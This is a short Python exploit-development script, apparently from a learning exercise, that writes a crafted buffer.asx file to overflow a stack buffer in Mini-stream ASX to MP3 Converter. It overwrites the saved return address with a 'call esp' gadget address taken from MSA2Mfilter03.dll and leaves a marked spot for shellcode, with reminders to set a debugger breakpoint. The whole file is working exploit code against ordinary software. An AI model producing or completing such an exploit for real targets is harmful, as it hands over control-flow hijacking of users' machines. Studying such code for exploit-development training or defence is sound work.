import struct

#buffer = "http://"+"A"*17417+"BBBB"+"C"*(26168-4-17417)

# !mona jmp -r esp and find a suitable jmp address 
# jmp esp or call esp in one of the converter modules.
#0x100371f5 : call esp |  {PAGE_EXECUTE_READ} [MSA2Mfilter03.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Mini-stream\ASX to MP3 Converter\MSA2Mfilter03.dll)

ret = struct.pack('<L', 0x100371f5)

buffer = "http://"+"A"*17417+ret+"C"*(26168-4-17417) # DONT FORGET TO SET BREAKPOINT, use bp 0x100371f5

print "DONT FORGET TO PUT Breakpoint at " + "0x100371f5"
try:
	fl = open("buffer.asx","w")
	fl.write(buffer)
	fl.close()
except:
	print "unable to write to file, file already in use ? "
